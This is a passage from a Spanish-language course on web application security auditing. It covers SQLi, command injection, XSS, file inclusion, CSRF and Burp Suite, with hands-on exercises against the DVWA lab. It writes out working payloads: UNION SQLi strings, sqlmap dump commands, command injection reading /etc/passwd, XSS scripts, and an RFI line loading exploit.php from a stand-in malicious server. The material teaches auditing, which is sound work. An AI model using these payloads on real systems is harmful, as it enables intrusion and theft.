Uso de cadenas SQL que formen consultas sobre la base de datos. Para ello se pueden utilizar
las distinta funciones SQL:
SELECT: obtener información.

INSERT: añadir datos a las tablas de la base de datos.
UPDATE: modificar información de la base de datos.
DELETE: borrar información de la base de datos.
UNION: añadir nueva consulta a la consulta original.
La suma de estas técnicas son las que nos van a ayudar a detectar y llevar a cabo los ataques de SQLi.
En caso de que la aplicación devuelva algún error a nivel de base de datos significará que es
vulnerable a este tipo de ataques.
Práctica
Utilizando la aplicación web vulnerable DVWA (nivel de seguridad low), vamos a ver cómo se
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “SQL injection”, donde se
nos redirige a una web con un formulario en el que insertando un número nos devuelve el usuario al
que pertenece el ID.
Se prueba a introducir una comilla simple en el formulario para ver el comportamiento de la

aplicación.
Inyección: ‘
Imagen 4.19. SQL injection en DVWA.

Fuente: captura de la herramienta DVWA.
La aplicación devuelve un error de base de datos, lo que ya nos demuestra que es vulnerable a este
tipo de vulnerabilidad.
A través de prueba-error, podemos construir consultas SQL forzando a que la aplicación las ejecute
y nos muestre información de interés.
Por ejemplo, una consulta que nos muestre el nombre de la base de datos.
Inyección: ' or 0=0 union select null, database() #
25/77
Imagen 4.20. SQL injection en DVWA.

Además de listar todos los usuarios de la base de datos, al final del todo muestra el nombre de la
base de datos que en esta ocasión es “dvwa”.
Anotación: Ejercicio propuesto (opcional)
Obtener las tablas de la base de datos, ¿hay alguna que llame la atención?
Obtener la lista de usuarios y sus respectivas contraseñas.
Explotar esta vulnerabilidad con nivel de seguridad “ Medium” y “High”.
NOTA: la explotación de esta vulnerabilidad se puede realizar a mano o de manera

automática, teniendo en cuenta que el grado de dificultad de este ejemplo es bajo, se
recomienda hacerlo a mano para familiarizarse con la vulnerabilidad.
3.3.1.2 Blind SQL
Este tipo de SQLi es más complicado de detectar. Las principales características que lo diferencian del
SQLi tradicional son:
26/77
No muestra mensajes de error al usuario cuando la consulta no se ejecuta de manera incorrecta.

Solo hay respuesta si la consulta se ejecuta de manera correcta, mientras que, si no es así,
muestra una página genérica a los usuarios.
El tiempo necesario para explotar esta vulnerabilidad puede ser muy elevado, ya que puede
llevar a cabo una búsqueda carácter a carácter para obtener la información que se quiere
obtener.
Una manera de ir obteniendo el resultado esperado cuando se está explotando esta vulnerabilidad es
construir la respuesta de manera acumulativa a través de una lógica booleana, por ejemplo:
Construimos dos peticiones sobre la aplicación vulnerable que devuelven respuestas

booleanas TRUE/FALSE.
http://aplicaciónvulnerable.com/var=1 & 1=1 -> TRUE
Cuando se ejecuta la petición de manera correcta, se carga la página de manera normal.
http://aplicaciónvulnerable.com/var=1 & 1=0 -> FALSE
Cuando se ejecuta la petición de manera incorrecta, la página devuelta varía, aparece vacía,
contenido alterado.
Resultado: si esto ocurre, significará que la aplicación web es vulnerable.
Existen dos tipos de Blind SQL:
Basados en el contenido: lo explicado en el ejemplo, dependiendo del contenido mostrado en

la aplicación, se podrá averiguar si la aplicación es vulnerable o no.
Basados en el tiempo: se detectará la existencia de la vulnerabilidad teniendo en cuenta los
tiempos de respuesta de la aplicación:
Si tarda en procesar la petición 3 segundos significa que es correcta.

Si tarda en procesar la petición 15 segundos significa que es incorrecta.
Práctica
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “SQL injection (Blind)”
Se prueba a introducir una comilla simple en el formulario para ver el comportamiento de la

aplicación.
Inyección: ‘
27/77
Imagen 4.21. SQL injection (Blind) en DVWA.

En esta ocasión, no nos devuelve un error a nivel de base de datos sino un mensaje indicando que el
ID de usuario no existe en la base de datos.
La detección de este tipo de vulnerabilidad no es trivial, por lo que vamos a utilizar una herramienta
automática para este cometido, SQLmap. Esta herramienta está disponible por defecto en KALI.
Es una herramienta que se ejecuta desde la línea de comandos y tiene muchas opciones para
personalizar su ejecución. Podemos ver todas las posibilidades con:
sqlmap -h
Vamos a indicar la URL sobre la que queremos que lleve a cabo las pruebas:
Sqlmap -u http://localhost/dvwa/vulnerabilities/sqli_blind/?id=%27&Submit=Submit#
Afinando un poco más, le proporcionamos los parámetros de la cookie y vemos los resultados:
sqlmap -u "http://10.211.55.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --
cookie "security=low; PHPSESSID=15a2itgc8hk5j9pondgvh8fh47" –dbs
Imagen 4.22. Detección de SQL injection (Blind) en SQLmap.

Fuente: captura de la herramienta SQLmap en Linux.
Nos indica que el parámetro id es vulnerable a dos tipos de SQLi Blind: booleano y basado en
tiempo. Podemos seguir obteniendo información de la base de datos.
28/77
Añadir a la inyección vista los siguientes parámetros:
-D y --tables
-T y –column
-C y --dump
¿Qué obtenemos?
3.3.1.3 Detección
Posibles maneras de detectar la existencia de una vulnerabilidad de SQLi.
Inyección de comilla simple y comilla doble.

Caracteres propios de consultas/inyecciones SQL:
Imagen 4.23. Caracteres SQL.

Automatización de peticiones con payloads que contengan cadenas de caracteres propias de

XSS (se puede realizar con el intruder de Burp, una de las herramientas integradas en Burp
Suite de la que se hablará más adelante).
Probar distintas codificaciones: la aplicación puede ser capaz de evadir algunos caracteres,
pero no otros, por lo que habrá que probar el mayor número de posibilidades posible.
3.3.2 LDAP injection
29/77
Son inyecciones sobre aplicaciones que trabajan sobre un LDAP (Protocolo Ligero de Acceso a
Directorios), protocolo para permitir accesos a un servicio de directorio ordenado y distribuido para
buscar información en un entorno de red.
El uso de LDAP está muy extendido en organizaciones con sistemas Windows y Linux, por lo que es
común que las aplicaciones internas aprovechen este servicio para autenticar a los usuarios en las
aplicaciones.
Estas inyecciones buscan inyectar caracteres de búsqueda LDAP en una consulta para que sea
ejecutada por la aplicación. Las posibles consecuencias de una ejecución LDAP satisfactoria pueden ser:
Consultar información sin autorización.

Acceso a contenido sin autorización.
Saltarse restricciones de la aplicación.
Añadir o modificar objetos de la estructura del árbol LDAP.
Este tipo de ataques permite distintos tipos de inyecciones:
Query simple
Valor introducido en la inyección coincida con el atributo clave.
Ejemplo:
(username=peter)
Query disyuntiva
Utilizada para buscar información en el árbol LDAP. Permite múltiples valores.
Ejemplo:
Query normal:(username=peter)(ciudad=Madrid)
Query modificada: )(ciudad=*)
Query conjuntiva
Consulta que permite múltiples condiciones, pero todas deben ser aceptadas para su correcta
ejecución.
Ejemplo:
(username=peter)(ciudad=Madrid*)
3.3.2.1 Detección
30/77
Posibles maneras de detectar la existencia de una vulnerabilidad de tipo LDAP injection:
Caracteres propios de consultas/inyecciones LDAP:
Imagen 4.24. Caracteres LDAP injection.

Provocar errores LDAP, que se presentarán en modo de errores informativos y servirá para
averiguar si la aplicación emplea de un LDAP o una base de datos de otro tipo como SQL. Para ello
hay varias opciones:
Introducir el carácter *: si devuelve datos significa que existe un LDAP, ya que SQLi no
devolvería datos.
Los errores generados por LDAP suelen dar un error 500.
Introducir número de paréntesis elevados como )))))))). En caso de que se produzca error, es
posible que la aplicación sea vulnerable a LDAP injection.
3.3.3 Code injection
Este tipo de inyección [16] consiste en introducir código que es interpretado y ejecutado por la
aplicación.
Una vez que se averigua el lenguaje de programación de la aplicación web (PHP, ASP, etc.), se tratará
de intentar inyectar código en este lenguaje para comprobar si es ejecutado por la aplicación. Esto
sucederá si la aplicación no valida correctamente los campos de entrada de datos.
Este tipo de ataque está limitado a la funcionalidad que permita el propio lenguaje de programación.
Por ejemplo, si es posible inyectar código PHP, estará limitado por lo que PHP es capaz de hacer.
31/77
Esta es la principal diferencia entre code injection y command injection, que se tratará a continuación.
En code injection la limitación la pone el lenguaje de programación que se pueda ejecutar, mientras que
e n command injection se aprovecha el código existente para ejecutar comandos, normalmente en el
contexto de una shell.
Una correcta explotación de esta vulnerabilidad puede permitir al atacante ampliar la funcionalidad
por defecto de la aplicación web. Cabe destacar que son algo complicadas de explotar y el impacto que
tendrá en la aplicación puede ser pérdida de confidencialidad, de integridad, de disponibilidad o
responsabilidad.
Tenemos una aplicación web PHP con la siguiente URL:
http://example.com/?page=ejemplo1.php;
El atacante crea un archivo PHP y lo aloja en un servidor propio. Y carga el contenido de su

archivo de la siguiente manera:
http://example.com/?page=http://servidormalicioso.com/exploit.php;
Si al enviar la petición la aplicación web ejecuta el código del archivo malicioso, será
vulnerable.
3.3.3.1 Detección
Posibles maneras de detectar la existencia de una vulnerabilidad de tipo c ode injection.
Probar inyección de código fuente en las entradas de datos de la aplicación objetivo.
3.3.4 Command injection
Como su propio nombre indica, consiste en la ejecución de comandos de sistema operativo a través de
la aplicación web. Los comandos serán ejecutados en el servidor de aplicaciones.
Se trata de intentar ejecutar los comandos sobre una shell y, en caso de tener éxito, los comandos
serán ejecutados con los privilegios que tenga asociada la aplicación web vulnerable.
Práctica
podría explotar esta vulnerabilidad. Para ello accedemos a la categoría “Command Injection”.
La página web solicita una IP y, al introducir una y hacer clic en “Submit”, ejecuta un ping sobre la
IP proporcionada.
32/77
Imagen 4.25. Command injection en DVWA.

La propia página ya está ejecutando un comando como es ping, por lo que se va a probar si se
puede enlazar la ejecución de comandos. Para ello, podemos utilizar:
&
&&
|
Inyección: 127.0.0.1 & ls

Inyección: 127.0.0.1 | ifconfig
33/77

3.3.4.1 Detección
Posibles maneras de detectar la existencia de una vulnerabilidad de Command Injection.
Probar los comandos básicos de sistemas operativos en las entradas de datos de la aplicación
objetivo:
Dir
/bin/ls
cat /etc/passwd
3.3.5 Otros ataques de inyección
Además de los ataques explicados en esta sección, existen otros tipos de ataques de inyección como:
XPath injection
34/77
XML injection
HTML injection
CSS injection
Como se puede observar, el propio nombre nos indica el tipo de inyección que se produce. Según lo
visto, en todas las vulnerabilidades de inyección, todas tienen algo en común, se producen sobre los
datos de entrada de la aplicación y una solución común a todas ellas es la correcta validación de datos.
Si se consigue implementar una validación de datos correcta, la aplicación estará protegida ante todos
estos tipos de ataques, lo que implica que el nivel de seguridad de la misma aumentará.
3.4. Cross Site Scripting (XSS)

Esta vulnerabilidad se encuentra en el puesto 7 del top ten de OWASP 2017, ha bajado de la posición
3 en la que se encontraba en la versión anterior de 2013. Lleva presente en las aplicaciones web desde el
principio y aún es común a día de hoy, lo que refleja que aún no hay suficiente concienciación sobre
seguridad entre los desarrolladores.
Puede producirse de dos maneras diferentes:
Cuando el navegador toma datos no confiables sin validar o codificar de la manera adecuada y los
envía al navegador del usuario.
Un usuario envía datos a la aplicación (JavaScript) y estos son ejecutados por el navegador.
Antes de entrar hay que ver en detalle la vulnerabilidad. A través de un ejemplo sencillo se va a
explicar cómo funciona:
35/77
Tenemos una aplicación web con un buscador en el que el usuario puede introducir la cadena
de caracteres que desee. Posteriormente, la aplicación realizará una búsqueda en todos los
contenidos de la aplicación, para buscar coincidencias y mostrárselas al usuario.
Un usuario malintencionado inyecta en el buscador una cadena de caracteres que contiene

código JavaScript y, al enviar la petición, debido a que la aplicación no valida los datos
recibidos por el usuario, los ejecuta en el navegador.
Código inyectado por el usuario: <script>alert(‘Vulnerable XSS`)</script>
Respuesta mostrada en el navegador:
Imagen 4.28. Respuesta a XSS en navegador.

Fuente: captura de ejemplo en Internet Explorer.
Resultado: se ha enviado el código JavaScript al navegador y este ha sido ejecutado

provocando que aparezca una ventana como la que se muestra en la imagen.
¿Cuándo se encuentra esta vulnerabilidad? Esta vulnerabilidad se encuentra en aquellas aplicaciones

que reciben entradas de datos directamente de los usuarios y no realizan una correcta validación ellos.
Para llevar a cabo esta validación, la aplicación solo debería aceptar datos “que está esperando” y
rechazar todo aquello que sea diferente o bien codificarlo de manera que se evite que los datos
introducidos por el usuario, en caso de ser código ejecutable, sean almacenados y procesados como texto
plano, evitando así que puedan ser ejecutados.
El objetivo del usuario malicioso será ejecutar el código en las máquinas de las víctimas (por
ejemplo, descargar software malicioso que abra un backdoor en la máquina de la víctima donde
se pueda conectar el atacante o enviar la cookie de sesión al usuario malintencionado), para lo
que se tendrá que recurrir a técnicas de ingeniería social, como enviar a la víctima un enlace que
ejecute la petición http con el código malicioso en ella, por ejemplo, a través del correo
electrónico.
A continuación, vamos a ver una representación gráfica que facilitará la comprensión de esta
vulnerabilidad:
36/77
Imagen 4.29. Esquema XSS.

Existen tres tipos de ataques de XSS diferentes:
3.4.1 XSS reflejado
XSS reflejado, también conocido como XSS Indirecto. Es el tipo de XSS más habitual y fácil de
encontrar, consiste en el envío a través de una petición web de código malicioso para su ejecución en el
navegador de la víctima.
Como auditores nos bastará con comprobar si al enviar una petición maliciosa el navegador la ejecuta
(ver ejemplo anterior).
Una vez que se conoce cómo funciona, se van a exponer algunas posibles consecuencias o riesgos
asociados a la existencia de esta vulnerabilidad en una aplicación web:
Robo de sesiones: en una aplicación con usuarios autenticados, la ejecución de código

JavaScript puede provocar el robo de cookies de sesión de la víctima que, si además se suma a
que la aplicación no gestiona correctamente las sesiones, se traduce en una suplantación de
identidad, cuyo riesgo irá asociado a la funcionalidad de la aplicación.
Obtener información de la víctima: como puede ser el historial de navegación.
Phishing, suplantación de identidad de otro sitio web, por ejemplo, con el objetivo de obtener
el usuario y la contraseña de la víctima.
Cambiar el contenido de la web infectada, conocido como defacement.
Instalar software malicioso en la máquina víctima. Por ejemplo, un programa que ejecute una
puerta trasera (backdoor) que permita al atacante obtener acceso remoto al ordenador de la
víctima.
Como se puede apreciar, las posibilidades son amplias y, dependiendo de la aplicación, las
consecuencias tendrán un riesgo mayor.
Práctica
37/77
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “XSS (Reflected)”.
Se prueba a introducir la inyección típica de XSS.
Inyección: <script>alert(‘XSS’)</script>
Resultado:
Imagen 4.30. Mensaje de respuesta a XSS.

Con esto vemos que la aplicación es vulnerable a XSS.
Como el nivel de seguridad es bajo, explotar esta vulnerabilidad no tiene mucha dificultad.
Aprovechando este formulario, se va a proceder a detectar y explotar de manera automática con el
intruder de Burp Suite.
Para ello será necesario:
38/77
Interceptar la petición http que se genera al hacer clic en “Submit”
Imagen 4.31. Vulnerabilidad XSS.

Enviar la petición al Intruder (botón derecho -> Sent to Intruder)
Imagen 4.32. Envío de petición al Intruder.

Fuente: captura de la herramienta Burp Suite.
39/77
Configurar variable explotable
Imagen 4.33. Configuración de variable explotable.

Configurar Payload: Para ello cargaremos un payload* con cadenas de caracteres preparadas
para explotar este tipo de vulnerabilidad
Imagen 4.34. Configuración de payload.

40/77
Ejecutar Intruder: haciendo clic en el botón “ Start attack” que aparece en la pestaña de Payloads,
o desde la barra de menús: Intruder-> Start Attack
Imagen 4.35. Ejecución de Intruder.

Analizar resultados: podemos ver los resultados. Para ver si las inyecciones funcionan o no,
podemos fijarnos en la respuesta, la longitud de la respuesta, el error que devuelve, el estatus, etc.,
y probar a mano las inyecciones para ver el comportamiento de la aplicación.
Imagen 4.36. Análisis de resultados.

41/77
Resultado: por ejemplo, con el payload número 4 obtenemos la explotación de la vulnerabilidad:
Imagen 4.37. Resultado de la explotación de XSS.

Se recomienda tener archivos con distintos tipos de payloads que faciliten la tarea del
auditor. Un ejemplo de payloads son los proporcionados por fuzzdb (https://github.com/fuz
zdb-project/fuzzdb).
3.4.2 XSS almacenado
XSS almacenado, también llamado XSS directo o persistente. Su funcionamiento es similar al XSS
reflejado, la diferencia se encuentra en que en esta ocasión la inyección de código queda almacenada en
la base de datos de la aplicación y será ejecutada cada vez que un usuario acceda a la página web que
cargue esa información.
El ejemplo más sencillo para entenderlo es un blog con una entrada que permite comentarios de
usuarios. Los comentarios de los usuarios son almacenados en la base de datos de la aplicación y se
cargan de manera automática cada vez que un usuario accede a la entrada. Si la aplicación (el blog en
este caso) es vulnerable a XSS y un usuario malicioso inyecta código a través de un comentario, este
código se ejecutará cada vez que cualquier usuario cargue la página web donde se encuentra el
comentario.
Las consecuencias de esta vulnerabilidad son similares a las ya explicadas, pero hay que tener en
cuenta que las posibles víctimas aumentarían.
Práctica
42/77
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “XSS (Stored)”.
Se prueba a introducir la inyección típica en los dos campos que aparecen en el formulario, nombre
y mensaje.
Inyección: <script>alert(1)</script>
Inyectamos la cadena en ambos campos y el resultado es el siguiente:
La cadena no cabe entera en el campo " Name", cuando se hace clic en “ Sign Guestbook”, aparece
el pop up que indica que existe la vulnerabilidad de XSS.
Imagen 4.38. Explotación de XSS almacenado.

Al guardarse la inyección en la base de datos, cada vez que un usuario cargue la página se cargará
el comentario y en este caso se ejecutará el payload.
Esta vulnerabilidad se puede explotar también de manera automatizada como se ha explicado en el

apartado anterior.
3.4.3 XSS basado en DOM
DOM (Document Object Model ), son los objetos creados por el propio navegador para parsear la web
y el contenido que muestra el servidor. Estos objetos se identifican a través de etiquetas HTML.
Este tipo de ataque de XSS se diferencia de los anteriores en que no interviene el servidor de las
aplicaciones web, sino a través de Query Strings en funciones u otras variables que permiten la inyección
de código en la aplicación web. Algunos elementos vulnerables a XSS DOM son:
43/77
document.write
document.location
document.URL
document.referer
En resumen, es una vulnerabilidad que se ejecuta en el lado cliente (navegador). En este caso, las
validaciones que se puedan hacer a nivel de servidor no servirán para evitar que la aplicación sea
vulnerable. Se considera un subtipo del XSS persistente.
Práctica
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “XSS (DOM)”
Tenemos un desplegable con distintas opciones, en este caso lenguajes. Además, en la URL
tenemos la variable default y si modificamos el valor de esta variable, por ejemplo, con “DOM”
vemos que la opción aparece en el desplegable:
Imagen 4.39. Explotación de XSS DOM.

Ahora vamos a ver el contenido de la aplicación web en el desplegable. Para ello, vamos a usar las
opciones de desarrollador del navegador, en concreto, el inspector (en el caso de Firefox), aunque se
pueden usar extensiones de navegador como Firebug u otras opciones.
44/77
Imagen 4.40. Uso de la herramienta inspector en Firefox.

Fuente: captura de la herramienta inspector en Firefox.
Observamos los objetos document.write. Vamos a construir una inyección personalizada, que se
interprete en el navegador.
Inyección: </option></select><script>alert('DOM')</script>
Imagen 4.41. Construcción de XSS DOM personalizada.

3.4.4 Detección
Posibles maneras de detectar la existencia de una vulnerabilidad de tipo XSS.
Caracteres propios de inyecciones XSS:
45/77
Imagen 4.42. Caracteres XSS.

Automatización de peticiones con payloads que contengan cadenas de caracteres propias de

XSS (se puede realizar con el intruder de Burp).
3.5. Local/Remote File Inclusion

Como su propio nombre indica, esta vulnerabilidad consiste en incluir archivos a la propia aplicación.
Una aplicación será vulnerable a este ataque si no realiza una correcta validación de entradas de datos,
que tiene lugar cuando la aplicación no controla los parámetros enviados por el usuario de la manera
correcta, como se ha visto previamente.
Las consecuencias de que una aplicación sea vulnerable a este tipo de ataques son, entre otras:
Ejecución de código en el servidor web.

Denegación de servicio.
Vulnerabilidad Directory Traversal.
Descubrimiento de información sensible.
3.5.1 Local File Inclusion (LFI)
La aplicación interpreta un fichero local del propio servidor. Se produce cuando la propia aplicación
recibe como entrada la ruta de un archivo que se encuentra en el servidor y, al no estar bien configurado,
permite inyectar código o navegar por los directorios y archivos, cosa que no debería.
Ejemplo: cargar el archivo /etc/passwd del servidor de aplicaciones.
Práctica
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “File Inclusion ”
46/77
Se va a tratar de cargar un archivo del propio servidor de aplicaciones. Se sabe que la aplicación
está montada sobre un entorno Linux, por lo que uno de los archivos más interesantes que se puede
obtener será el /etc/passwd
La aplicación muestra tres enlaces a tres archivos .php. Tras visitarlos e inspeccionarlos con el
proxy que tenemos, interceptando las peticiones (Burp), vemos que la posible variable vulnerable es
“page”.
Inyección: /etc/passwd
Imagen 4.43. Inyección /etc/passwd.

Como podemos observar, ha cargado el contenido del archivo interno en la propia aplicación web,
lo que demuestra que es vulnerable a este tipo de ataques.
Inyección: http://google.es
47/77
Imagen 4.44. Inyección http://google.es.

3.5.2 Remote File Inclusion (RFI)
La aplicación interpreta el contenido de un fichero remoto. El funcionamiento es similar a LFI, pero

con archivo alojados en servidores externos.
Ejemplo: archivo externo http://servidormalicioso.com/exploit.php
48/77
Práctica
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “File Inclusion ”
En esta ocasión, se va a tratar de cargar un archivo externo al servidor de aplicaciones desde la

misma variable “page” que hemos visto en el ejemplo de LFI.
3.5.3 Detección
Para detectar este tipo de vulnerabilidades, la aplicación tendrá que tener una funcionalidad que
permita la inclusión de ficheros. Sobre esta funcionalidad es sobre la que el auditor realizará las distintas
pruebas con el objetivo de cargar archivos internos o externos y demostrar que la aplicación es
vulnerable y no está bien configurada:
No existe validación de datos correcta.

Configuración de permisos incorrecta.
Servidor o componentes de la aplicación desactualizados que puedan tener posibles
vulnerabilidades conocidas relacionadas.
3.6. Cross Site Request Forgery (CSRF)

La vulnerabilidad de CSRF, conocida como falsificación de petición en sitios cruzados, consiste en
engañar a un usuario legítimo para que ejecute peticiones o acciones sin su consentimiento (no sabe que
esas peticiones se están realizando desde su usuario).
La manera que tiene un atacante de llevar a cabo este ataque es a través de ingeniería social, en la que
consigue engañar al usuario, por ejemplo, para hacer clic en un enlace que ejecuta la petición maliciosa.
En el siguiente esquema se puede observar una representación gráfica para ayudar a la comprensión de
esta vulnerabilidad:
49/77
Imagen 4.45. CSRF.

Los riesgos asociados a esta vulnerabilidad tienen bastante criticidad ya que se podrían llevar a cabo
acciones que pongan en peligro la confidencialidad, integridad y disponibilidad de los datos de la
aplicación camuflando estas acciones detrás de peticiones realizadas por usuarios legítimos, pero sin el
consentimiento de los mismos.
3.6.1 Detección
La detección de esta vulnerabilidad no es algo trivial y, en ocasiones, puede parecer complicado

demostrar la existencia de la vulnerabilidad. Existen distintos métodos para detectarlo:
Revisión de cabeceras de la aplicación
Buscando la presencia de un token conocido como "token-anticsrf", que suele ser la medida de
protección que implementan las aplicaciones web para protegerse de este tipo de ataques.
Herramientas automáticas
Como extensiones concretas de OWASP ZAP y Burp la versión de pago de Burp tiene una
funcionalidad llamada “Generate CSRF POC” que facilita al auditor la tarea de probar la existencia de
este tipo de vulnerabilidad.
Script
OWASP tiene un script para facilitar la detección de esta vulnerabilidad llamado CSRFTester.
50/77
3.7. Analizadores automáticos

Una vez que se han visto los principales tipos de vulnerabilidades, para detectarlos en una auditoría de
aplicaciones web, una de las herramientas que se tienen disponibles son los analizadores automáticos.
Estos analizadores son programas cuyo cometido es la detección de vulnerabilidades de la aplicación

web objetivo. Se les proporciona la URL sobre la que buscar vulnerabilidades y se encargan de realizar
todas las pruebas. Una vez que finaliza, mostrará todas las vulnerabilidades detectadas.
El problema de estas aplicaciones es que no detectan todas las vulnerabilidades presentes en la

aplicación web y que, normalmente, presentan falsos positivos, por lo que no se pueden utilizar los
resultados de estas herramientas como veraces al 100 % y descartar aquellas vulnerabilidades que no
sean reales. Además de esto, hay que tener en cuenta los falsos negativos que son las vulnerabilidades
existentes en la aplicación que los analizadores automáticos no son capaces de detectar. Esto es lo que
hace que estas herramientas solo deban ser un apoyo en la realización de las auditorías y que el
grueso de la auditoría se deba realizar a mano, con técnicas de detección y explotación de
vulnerabilidades realizadas directamente por el equipo de auditoría.
El analizador automático ideal sería aquel cuyo resultado tiene el menor número posible de falsos
negativos y de falsos positivos.
A continuación, se van a exponer distintos analizadores automáticos disponibles de manera gratuita

que se pueden utilizar como ayuda en una auditoría web:
3.7.1 OWASP ZAP
Esta herramienta es muy similar a Burp, pertenece al proyecto de OWASP e incluye el escáner web de
manera gratuita. Una vez interceptada la petición de la aplicación web objetivo se envía a escanear y se
espera hasta obtener los resultados.
51/77
Imagen 4.46. OWASP ZAP - Escáner.

Fuente: captura de la herramienta OWASP ZAP.
Imagen 4.47. OWASP ZAP – Vulnerabilidades encontradas.

Fuente: captura de la herramienta OWASP ZAP.
Los resultados obtenidos a través de ZAP suelen tener pocos falsos positivos, pero se deja
vulnerabilidades sin detectar, por lo que siempre tendremos que hacer el análisis manual.
3.7.2. Vega
Vega es un analizador de vulnerabilidades Open Source multiplataforma, escrito en Java, que nos
permite realizar las siguientes funciones:
Análisis de vulnerabilidades
52/77
Realización de un crawler (copia del sitio web)

Análisis de contenido
Modificación manual de paquete HTTP gracias a un proxy.
La herramienta tiene módulos para realizar ataques típicos del OWASP como XSS, SQL Injection,
Directorio transversal, URL Injection, detección de errores en la logica del sitio.
Vega posee dos modos de uso: el modo proxi, el cual es útil a la hora de interceptar peticiones, y el
modo escáner que nos permitirá encontrar vulnerabilidades en un sitio.
En el modo escáner podemos diferenciar tres paneles móviles que nos permiten una clara lectura del
estado del análisis, dejando mucha visibilidad de la información obtenida.
Imagen 4.48. Vega – Pantalla principal.

Fuente: captura de la herramienta Vega.
3.7.3. Arachni
Arachni es otro analizador web, bastante potente y con un buen porcentaje de hallazgos respecto a
falsos positivos y falsos negativos. Su uso es muy intuitivito y se puede ejecutar tanto desde línea de
comandos como a través de la interfaz web que proporciona.
53/77
Imagen 4.49. Arachni – Vulnerabilidades encontradas.

Fuente: captura de la herramienta Arachni.
3.7.4. Otros
En este apartado se van a nombrar varios analizadores, en este caso de pago, que el auditor debe al
menos conocer, ya que en entornos profesionales son muy comunes.
Burp Suite Professional: como se ha visto durante todo el módulo, Burp es una herramienta
que proporciona un gran número de funcionalidades. En su versión de pago, añade el escáner
de vulnerabilidades. Este escáner se puede ejecutar sobre toda la aplicación o bien, sobre URL
que como auditores detectemos que pueden ser vulnerables, y ejecutarlo únicamente en ellas.
Esto hace que el tiempo de escaneo de vulnerabilidades sea menor y esté centrado en aquellas
que sean más susceptibles.
Acunetix: es quizás el analizador de vulnerabilidades web por excelencia. Su uso es muy
intuitivo y proporciona gran calidad en los resultados.
IV. Anexo I: Burp Suite

Burp Suite es una herramienta para llevar a cabo análisis de seguridad de aplicaciones web. Es
considerada una navaja suiza, ya que integra dentro de una única herramienta diferentes funcionalidades
con diferentes objetivos que nos van a ayudar a la hora de detectar y explotar vulnerabilidades.
URL: https://portswigger.net/burp
54/77
Esta herramienta está desarrollada en Java y es multiplataforma, por lo que está disponible para todos
los sistemas operativos. Es una de las muchas herramientas que vienen preinstaladas en KALI.
Existen dos versiones de esta herramienta. En este módulo vamos a hablar en detalle de la versión
gratuita, pero es importante conocer que existe una versión de pago que añade características y es la que
se utilizará en entornos profesionales.
Burp Suite Community Edition: versión gratuita, funcionalidades limitadas (restricciones de

tiempo) en algunas funcionalidades.
Burp Suite Professional: versión de pago, incluye escáner de vulnerabilidades y sin
restricciones de tiempo en las funcionalidades (velocidad a la hora de ejecutar el intruder).
Las características principales de Burp Suite son:
Proxy
Intercepta peticiones mediante proxy, lo que permite examinar y modificar el tráfico entre el
navegador y la aplicación de destino.
Spider
Araña web, para rastreo de contenido y funcionalidad. Inspecciona la aplicación de manera recursiva
hasta completarla por completo
Intruder
Herramienta de intrusión para realizar ataques personalizados de manera automática para identificar y
explotar vulnerabilidades de seguridad.
Repeater
Herramienta de repetidor para manipular y reenviar solicitudes individuales.
Sequencer
Herramienta para analizar el grado de aleatoriedad de los tokens de sesión de las aplicaciones.
Decoder
Herramienta para transformar datos codificados a texto claro o de texto claro a codificado. Permite
distintos tipos de codificaciones.
Comparer
Permite comparar varias peticiones para ver si hay cambios en la información enviada.
Scanner
Escáner avanzado para automatizar la detección de numerosos tipos de vulnerabilidades ( disponible
en la versión PRO).
Guardar
Capacidad de guardar el trabajo y continuar más tarde.
55/77
Extensible
Permite implementar de manera sencilla plugins propios, para realizar tareas complejas o bien,
instalar plugins ya desarrollados de la BApp Store.
4.1. Configuración
Para configurar Burp y ponerlo en funcionamiento son necesarios dos pasos: por un lado, configurar el
programa y, por otro lado, configurar el navegador para que envíe las peticiones al proxy definido.
Configuración del proxy de Burp
Accedemos a la pestaña "Proxy" dentro de esta, a la pestaña "Options", definimos la IP y el puerto

en el apartado "Proxy Listeners", en el que Burp se pondrá a escuchar. En esta ventana también se
podrán ajustar los parámetros de captura para interceptar las peticiones o las respuestas que nos
interesen en función de unas reglas basadas en expresiones regulares (imagen 4.50).
Imagen 4.50. Burp – Configuración del proxy.

56/77
Configuración del navegador
Cuando hayamos configurado el proxy en Burp Suite, debemos configurar el navegador para que
redirija las peticiones al proxy. Para ello, se debe acceder a la configuración del navegador (Firefox) o
configuración del sistema (IE y Chrome). En la siguiente captura se observa el ejemplo en Firefox
(imagen 4.51.).
Imagen 4.51. Navegador – Configuración del proxy.

Fuente: captura del navegador Firefox.
Ahora ya estamos preparados para interceptar y manipular las comunicaciones HTTP entre el
navegador y el servidor. En la imagen 4.52. se ha interceptado una petición HTTP. Tenemos varias
opciones, como continuar (forward) o saltarla ( drop).
En caso que prefiramos que la captura sea transparente, debemos pulsar la opción "Intercept" y ponerla
en "Off".
57/77
Imagen 4.52. Burp – Petición HTTP interceptada.

4.2. Características
En la imagen 4.53. tenemos el interfaz de Burp Suite. La suite se compone de diferentes herramientas
organizadas por pestañas: Target, Proxy, Spider, Scanner (funcional solo en la versión de pago),
Intruder, Repeater, Sequencer, Decoder, Comparer, Extender, Options y Alerts.
Imagen 4.53. Burp – Pestañas.

58/77
Target
En la pestaña "Target" tenemos todas las URL: ya sea capturadas a través del proxy, mediante el
web crawler o el escáner de vulnerabilidades.
La imagen 4.54. nos muestra la estructura de la aplicación objetivo.
Imagen 4.54. Burp – Pestaña Target.

Spider
Otra pestaña muy útil es " Spider", donde podemos activar o desactivar el motor de web crawling.
En esta ventana nos indica el estado del crawling (imagen 4.55.).
59/77
Imagen 4.55. Burp – Spider.

Otra forma de activar el spider es pulsar botón derecho encima de una URL en la pestaña "Target",
como se puede ver en la imagen 4.56.
60/77
Imagen 4.56. Burp – Spider this host.

E l spider de Burp Suite es rápido, sencillo y transparente, pero en ocasiones puede requerir de
nuestra intervención, por ejemplo, al enviar información a un formulario.
En la imagen 4.57. spider detectó un formulario y nos pregunta si envía la información por defecto
o queremos realizar alguna modificación o simplemente ignorar el formulario. Por lo general, los
formularios son un vector de ataque que debemos explorar a conciencia.
61/77
Imagen 4.57. Burp – Spider: Submit form.

